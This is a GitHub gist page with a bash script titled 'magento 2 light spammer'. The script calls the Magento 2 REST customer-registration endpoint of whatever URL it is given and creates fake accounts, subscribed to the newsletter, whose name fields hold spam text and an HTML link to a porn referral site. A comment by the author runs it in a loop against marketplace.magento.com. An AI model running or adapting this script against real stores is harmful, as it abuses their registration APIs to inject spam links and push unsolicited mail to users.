Skip to content

Instantly share code, notes, and snippets.

@magenx
Last active December 11, 2020 11:24
Show Gist options
  • Save magenx/5bbc66555a0c90435c108a500c170ae3 to your computer and use it in GitHub Desktop.
Save magenx/5bbc66555a0c90435c108a500c170ae3 to your computer and use it in GitHub Desktop.
magento 2 light spammer
#!/bin/bash
curl -k -X POST "$1/rest/V1/customers" \
-H "Content-Type:application/json" \
--data @<(cat <<EOF
{
"customer": {
"extension_attributes": {
"is_subscribed": true
},
"custom_attributes":{"customer_type": "Consumer"},
"email": "joe${RANDOM}@example.com",
"firstname": "⚐ $(date) - ☺ Register a premium account now, and get \$${RANDOM} bonus! ☺",
"lastname": "⚐ this is your personal link: <a href='https://www.porngrub.com/?refid=${RANDOM}'>grub me now!</a> | ☏ - Please call us immediately at: #555-444-333-222",
"dob": "11/12/1999",
"addresses": [{
"defaultShipping": true,
"defaultBilling": true,
"firstname": "John",
"lastname": "Rambo",
"region": {
"regionCode": "NY",
"region": "New York"
},
"postcode": "10755",
"street": ["123 Oak Ave"],
"city": "Purchase",
"telephone": "1234567890",
"countryId": "SG"
}]
},
"password": "Abar${RANDOM}valg"
}
EOF
)
@magenx
Copy link
Author

magenx commented Nov 13, 2020

for try in {1..5}; do bash mailspam https://marketplace.magento.com ; done

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment